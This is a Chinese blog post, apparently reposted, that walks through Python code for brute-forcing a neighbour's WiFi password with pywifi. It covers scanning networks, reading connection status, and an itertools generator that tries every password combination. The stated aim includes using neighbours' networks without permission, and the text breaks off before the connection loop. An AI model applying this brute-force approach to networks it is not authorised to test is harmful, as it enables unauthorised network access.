赞
踩
暴力破解邻居家的WiFi。。。
或,白嫖蹭WiFi。。。
又或,可以随时随地打开笔记本电脑来装个。。。咳咳
(以上是编代码前的最初目的)
(以下是发布这片文章的真实目的)
吐槽这破解方式是多么的扯淡。。。。。。
核心模块:
pywifi(模块的详细内容请出门左拐 <-_<-)
作用:获取本机网卡,搜寻,链接或断开WiFi
路人模块:
itertools
作用:循环生成临时密码
time
作用:WiFi链接或断开需要一定时间
# 创建WiFi对象:
wifi = pywifi.PyWiFi()
# 获得本机无线网卡:
ifaces = wifi.interfaces()[0] # 此处获得的是一个列表
# 获取附近WiFi:
wifi_scanned = ifaces.scan_results() # 此处同样是个列表
# 获取第一个WiFi的名称:
wifiname = wifi_scanned[0].ssid
# 获取当前网卡的连接状态
status = ifaces.status()
其中:
status = 0 : 未连接
status = 1 : 扫描中
status = 2 : 延迟
status = 3 : 正在连接中…
status = 4 : 已连接
# 这里我们不直接把密码本输出(浪费空间),直接造一个小生成器(generator)
def temppwd(pren): # pren是搜寻密码的初始位数
num = pren
# 设置询查密码可含有的符号
words = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_'
while True:
set = itertools.product(words, repeat=num)
for temp in set:
yield temp
num += 1
temp =
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。